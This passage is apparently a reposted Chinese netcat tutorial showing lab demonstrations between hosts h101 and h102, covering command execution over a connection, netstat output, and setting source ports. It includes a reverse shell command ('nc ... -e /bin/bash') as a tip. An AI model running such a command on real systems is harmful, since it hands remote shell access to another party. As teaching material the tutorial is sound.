整个过程是这样的:
所以产生的效果就是,客户端与服务端建立连接后,输入的内容会被服务端解释执行,然后将所有结果(标准输出,标准错误输出)反馈给客户端
Tip: 使用
-e参数可以使用服务器来控制客户端,也叫反向shell
nc -l 7890
----------
nc h102 7890 -e /bin/bash由于我的nc版本没有 -e 参数,所以暂时不能演示,下次找一下,有机会补起来
客户端发起连接默认是随机分配本地可用源端口,如
[root@h102 nc]# nc -l 5675
----------
[root@h102 ~]# netstat -ant | grep 567
tcp 0 0 0.0.0.0:5675 0.0.0.0:* LISTEN
tcp 0 0 192.168.100.102:5675 192.168.100.101:52326 ESTABLISHED
[root@h102 ~]#使用下面方法可以手动指定
[root@h101 grub]# nc h102 5675 -p 1234
----------
[root@h102 ~]# netstat -ant | grep 567
tcp 0 0 0.0.0.0:5675 0.0.0.0:* LISTEN
tcp 0 0 192.168.100.102:5675 192.168.100.101:1234 ESTABLISHED
[root@h102 ~]# 客户端发起连接会使用默认ip地址,如
[root@h102 nc]# nc -l 520
----------
[root@h102 ~]# netstat -ant | grep 520
tcp 0 0 0.0.0.0:520 0.0.0.0:* LISTEN
tcp 0 0 192.168.100.102:520 192.168.100.101:54442 ESTABLISHED
[root@h102 ~]#本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。